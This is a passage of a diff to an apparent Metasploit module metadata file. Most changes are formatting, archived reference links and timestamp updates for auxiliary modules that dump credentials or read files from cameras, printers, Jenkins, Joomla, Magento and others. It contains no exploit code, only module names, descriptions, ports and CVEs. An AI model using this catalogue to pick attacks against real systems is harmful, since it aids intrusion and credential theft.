"CVE-2020-5723", - "URL-https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf", + "URL-http://web.archive.org/web/20230319062924/http://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf", "URL-https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py" ], "platform": "", @@ -22859,7 +19814,7 @@ "https" ], "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb", "is_install_path": true, "ref_name": "gather/grandstream_ucm62xx_sql_account_guess", @@ -22870,25 +19825,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/hikvision_info_disclosure_cve_2017_7921": { "name": "Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera", "fullname": "auxiliary/gather/hikvision_info_disclosure_cve_2017_7921", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-23", "type": "auxiliary", @@ -22965,9 +19912,7 @@ "auxiliary_gather/hp_enum_perfd": { "name": "HP Operations Manager Perfd Environment Scanner", "fullname": "auxiliary/gather/hp_enum_perfd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22975,18 +19920,12 @@ "Roberto Soares Espreto " ], "description": "This module will enumerate the process list of a remote machine by abusing\n HP Operation Manager's unauthenticated 'perfd' daemon.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5227, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/hp_enum_perfd.rb", @@ -22995,20 +19934,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/hp_snac_domain_creds": { "name": "HP ProCurve SNAC Domain Controller Credential Dumper", "fullname": "auxiliary/gather/hp_snac_domain_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-09-09", "type": "auxiliary", @@ -23046,20 +19980,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/http_pdf_authors": { "name": "Gather PDF Authors", "fullname": "auxiliary/gather/http_pdf_authors", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -23067,9 +19996,7 @@ "bcoles " ], "description": "This module downloads PDF documents and extracts the author's\n name from the document metadata.\n\n This module expects a URL to be provided using the URL option.\n Alternatively, multiple URLs can be provided by supplying the\n path to a file containing a list of URLs in the URL_LIST option.\n\n The URL_TYPE option is used to specify the type of URLs supplied.\n\n By specifying 'pdf' for the URL_TYPE, the module will treat\n the specified URL(s) as PDF documents. The module will\n download the documents and extract the authors' names from the\n document metadata.\n\n By specifying 'html' for the URL_TYPE, the module will treat\n the specified URL(s) as HTML pages. The module will scrape the\n pages for links to PDF documents, download the PDF documents,\n and extract the author's name from the document metadata.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -23096,20 +20023,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/huawei_wifi_info": { "name": "Huawei Datacard Information Disclosure Vulnerability", "fullname": "auxiliary/gather/huawei_wifi_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-11", "type": "auxiliary", @@ -23149,20 +20071,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ibm_bigfix_sites_packages_enum": { "name": "IBM BigFix Relay Server Sites and Package Enum", "fullname": "auxiliary/gather/ibm_bigfix_sites_packages_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-18", "type": "auxiliary", @@ -23203,20 +20120,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ibm_sametime_enumerate_users": { "name": "IBM Lotus Notes Sametime User Enumeration", "fullname": "auxiliary/gather/ibm_sametime_enumerate_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-27", "type": "auxiliary", @@ -23254,20 +20166,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ibm_sametime_room_brute": { "name": "IBM Lotus Notes Sametime Room Name Bruteforce", "fullname": "auxiliary/gather/ibm_sametime_room_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-27", "type": "auxiliary", @@ -23305,20 +20212,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ibm_sametime_version": { "name": "IBM Lotus Sametime Version Enumeration", "fullname": "auxiliary/gather/ibm_sametime_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-27", "type": "auxiliary", @@ -23356,20 +20258,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ie_sandbox_findfiles": { "name": "Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability", "fullname": "auxiliary/gather/ie_sandbox_findfiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-09", "type": "auxiliary", @@ -23385,12 +20282,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-06 14:53:28 +0000", "path": "/modules/auxiliary/gather/ie_sandbox_findfiles.rb", @@ -23399,20 +20292,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ie_uxss_injection": { "name": "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", "fullname": "auxiliary/gather/ie_uxss_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-01", "type": "auxiliary", @@ -23433,12 +20321,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/gather/ie_uxss_injection.rb", @@ -23447,20 +20331,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/impersonate_ssl": { "name": "HTTP SSL Certificate Impersonation", "fullname": "auxiliary/gather/impersonate_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -23474,12 +20353,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/impersonate_ssl.rb", @@ -23488,20 +20363,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ipcamera_password_disclosure": { "name": "JVC/Siemens/Vanderbilt IP-Camera Readfile Password Disclosure", "fullname": "auxiliary/gather/ipcamera_password_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-16", "type": "auxiliary", @@ -23541,20 +20411,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/jasmin_ransomware_dir_traversal": { "name": "Jasmin Ransomware Web Server Unauthenticated Directory Traversal", "fullname": "auxiliary/gather/jasmin_ransomware_dir_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-04-08", "type": "auxiliary", @@ -23598,25 +20463,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/jasmin_ransomware_sqli": { "name": "Jasmin Ransomware Web Server Unauthenticated SQL Injection", "fullname": "auxiliary/gather/jasmin_ransomware_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-04-08", "type": "auxiliary", @@ -23659,25 +20516,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/java_rmi_registry": { "name": "Java RMI Registry Interfaces Enumeration", "fullname": "auxiliary/gather/java_rmi_registry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -23691,12 +20540,8 @@ "platform": "", "arch": "", "rport": 1099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/java_rmi_registry.rb", @@ -23705,20 +20550,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/jenkins_cli_ampersand_arbitrary_file_read": { "name": "Jenkins cli Ampersand Replacement Arbitrary File Read", "fullname": "auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-24", "type": "auxiliary", @@ -23768,25 +20608,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/jenkins_cred_recovery": { "name": "Jenkins Domain Credential Recovery", "fullname": "auxiliary/gather/jenkins_cred_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -23825,20 +20657,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/jetty_web_inf_disclosure": { "name": "Jetty WEB-INF File Disclosure", "fullname": "auxiliary/gather/jetty_web_inf_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-15", "type": "auxiliary", @@ -23889,9 +20716,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -23908,9 +20733,7 @@ "auxiliary_gather/joomla_com_realestatemanager_sqli": { "name": "Joomla Real Estate Manager Component Error-Based SQL Injection", "fullname": "auxiliary/gather/joomla_com_realestatemanager_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-22", "type": "auxiliary", @@ -23948,20 +20771,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/joomla_contenthistory_sqli": { "name": "Joomla com_contenthistory Error-Based SQL Injection", "fullname": "auxiliary/gather/joomla_contenthistory_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-22", "type": "auxiliary", @@ -24001,20 +20819,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/joomla_weblinks_sqli": { "name": "Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/joomla_weblinks_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-02", "type": "auxiliary", @@ -24024,7 +20837,7 @@ "description": "Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection\n which allows an attacker to access the database or read arbitrary files as the\n 'mysql' user. This module will only work if the mysql user Joomla is using\n to access the database has the LOAD_FILE permission.", "references": [ "EDB-31459", - "URL-https://developer.joomla.org/security/578-20140301-core-sql-injection.html" + "URL-http://web.archive.org/web/20221129082328/https://developer.joomla.org/security/578-20140301-core-sql-injection.html" ], "platform": "", "arch": "", @@ -24045,27 +20858,22 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/joomla_weblinks_sqli.rb", "is_install_path": true, "ref_name": "gather/joomla_weblinks_sqli", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/kerberos_enumusers": { "name": "Kerberos Domain User Enumeration", "fullname": "auxiliary/gather/kerberos_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24081,12 +20889,8 @@ "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-12 13:34:51 +0000", "path": "/modules/auxiliary/gather/kerberos_enumusers.rb", @@ -24095,20 +20899,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/konica_minolta_pwd_extract": { "name": "Konica Minolta Password Extractor", "fullname": "auxiliary/gather/konica_minolta_pwd_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24117,9 +20916,7 @@ "Pete \"Bokojan\" Arzamendi" ], "description": "This module will extract FTP and SMB account usernames and passwords\n from Konica Minolta multifunction printer (MFP) devices. Tested models include\n C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": "50001", @@ -24146,20 +20943,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/lansweeper_collector": { "name": "Lansweeper Credential Collector", "fullname": "auxiliary/gather/lansweeper_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24198,20 +20990,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ldap_esc_vulnerable_cert_finder": { "name": "Misconfigured Certificate Template Finder", "fullname": "auxiliary/gather/ldap_esc_vulnerable_cert_finder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-06-17", "type": "auxiliary", @@ -24229,14 +21016,10 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2025-02-11 20:49:08 +0000", + "mod_time": "2025-03-10 17:53:51 +0000", "path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb", "is_install_path": true, "ref_name": "gather/ldap_esc_vulnerable_cert_finder", @@ -24250,9 +21033,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "Certifry", "Certipy" @@ -24262,16 +21043,12 @@ "ldap" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ldap_hashdump": { "name": "LDAP Information Disclosure", "fullname": "auxiliary/gather/ldap_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-07-23", "type": "auxiliary", @@ -24286,12 +21063,8 @@ "platform": "", "arch": "", "rport": 636, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-02 13:57:13 +0000", "path": "/modules/auxiliary/gather/ldap_hashdump.rb", @@ -24307,9 +21080,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -24325,9 +21096,7 @@ "auxiliary_gather/ldap_query": { "name": "LDAP Query and Enumeration Module", "fullname": "auxiliary/gather/ldap_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-19", "type": "auxiliary", @@ -24335,18 +21104,12 @@ "Grant Willcox" ], "description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma separated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-01-22 16:15:52 +0000", "path": "/modules/auxiliary/gather/ldap_query.rb", @@ -24362,9 +21125,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -24467,6 +21228,10 @@ "name": "ENUM_PRE_WINDOWS_2000_COMPUTERS", "description": "Dump info about all computer objects likely created as a \"pre-Windows 2000 computer\", for which the password might be predictable." }, + { + "name": "ENUM_SCCM_MANAGEMENT_POINTS", + "description": "Find all registered SCCM/MECM management points" + }, { "name": "ENUM_UNCONSTRAINED_DELEGATION", "description": "Dump info about all known objects that allow unconstrained delegation." @@ -24508,9 +21273,7 @@ "auxiliary_gather/magento_xxe_cve_2024_34102": { "name": "Magento XXE Unserialize Arbitrary File Read", "fullname": "auxiliary/gather/magento_xxe_cve_2024_34102", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-06-11", "type": "auxiliary", @@ -24553,25 +21316,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/manageengine_adaudit_plus_xnode_enum": { "name": "ManageEngine ADAudit Plus Xnode Enumeration", "fullname": "auxiliary/gather/manageengine_adaudit_plus_xnode_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24587,12 +21344,8 @@ "platform": "", "arch": "", "rport": 29118, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-08-24 16:15:11 +0000", "path": "/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.rb", @@ -24601,20 +21354,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/manageengine_datasecurity_plus_xnode_enum": { "name": "ManageEngine DataSecurity Plus Xnode Enumeration", "fullname": "auxiliary/gather/manageengine_datasecurity_plus_xnode_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24630,12 +21378,8 @@ "platform": "", "arch": "", "rport": 29119, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-08-24 16:15:11 +0000", "path": "/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.rb", @@ -24644,20 +21388,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mantisbt_admin_sqli": { "name": "MantisBT Admin SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/mantisbt_admin_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-28", "type": "auxiliary", @@ -24696,20 +21435,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mcafee_epo_xxe": { "name": "McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure", "fullname": "auxiliary/gather/mcafee_epo_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-06", "type": "auxiliary", @@ -24748,20 +21482,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/memcached_extractor": { "name": "Memcached Extractor", "fullname": "auxiliary/gather/memcached_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -24775,12 +21504,8 @@ "platform": "", "arch": "", "rport": 11211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-06-22 19:44:53 +0000", "path": "/modules/auxiliary/gather/memcached_extractor.rb", @@ -24789,20 +21514,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/microweber_lfi": { "name": "Microweber CMS v1.2.10 Local File Inclusion (Authenticated)", "fullname": "auxiliary/gather/microweber_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-01-30", "type": "auxiliary", @@ -24853,16 +21573,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mikrotik_winbox_fileread": { "name": "Mikrotik Winbox Arbitrary File Read", "fullname": "auxiliary/gather/mikrotik_winbox_fileread", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-02", "type": "auxiliary", @@ -24881,12 +21597,8 @@ "platform": "", "arch": "", "rport": 8291, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/mikrotik_winbox_fileread.py", @@ -24895,20 +21607,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/minio_bootstrap_verify_info_disc": { "name": "MinIO Bootstrap Verify Information Disclosure", "fullname": "auxiliary/gather/minio_bootstrap_verify_info_disc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-03-20", "type": "auxiliary", @@ -24951,25 +21658,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mongodb_js_inject_collection_enum": { "name": "MongoDB NoSQL Collection Enumeration Via Injection", "fullname": "auxiliary/gather/mongodb_js_inject_collection_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-07", "type": "auxiliary", @@ -25006,20 +21707,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mongodb_ops_manager_diagnostic_archive_info": { "name": "MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever", "fullname": "auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-06-09", "type": "auxiliary", @@ -25059,28 +21755,18 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ms14_052_xmldom": { "name": "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure", "fullname": "auxiliary/gather/ms14_052_xmldom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-09", "type": "auxiliary", @@ -25093,39 +21779,30 @@ "CVE-2013-7331", "MSB-MS14-052", "URL-https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/", - "URL-https://cybersecurity.att.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi" + "URL-http://web.archive.org/web/20240814143555/https://cybersecurity.att.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/ms14_052_xmldom.rb", "is_install_path": true, "ref_name": "gather/ms14_052_xmldom", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/mybb_db_fingerprint": { "name": "MyBB Database Fingerprint", "fullname": "auxiliary/gather/mybb_db_fingerprint", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-13", "type": "auxiliary", @@ -25133,9 +21810,7 @@ "Arthur Karmanovskii " ], "description": "This module checks if MyBB is running behind an URL. Also uses a malformed query to\n force an error and fingerprint the backend database used by MyBB on version 1.6.12\n and prior.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -25162,20 +21837,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/natpmp_external_address": { "name": "NAT-PMP External Address Scanner", "fullname": "auxiliary/gather/natpmp_external_address", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -25183,18 +21853,12 @@ "Jon Hart " ], "description": "Scan NAT devices for their external address using NAT-PMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5351, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/natpmp_external_address.rb", @@ -25203,20 +21867,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/netgear_password_disclosure": { "name": "NETGEAR Administrator Password Disclosure", "fullname": "auxiliary/gather/netgear_password_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -25259,20 +21918,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/nis_bootparamd_domain": { "name": "NIS bootparamd Domain Name Disclosure", "fullname": "auxiliary/gather/nis_bootparamd_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -25290,12 +21944,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/nis_bootparamd_domain.rb", @@ -25304,20 +21954,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": 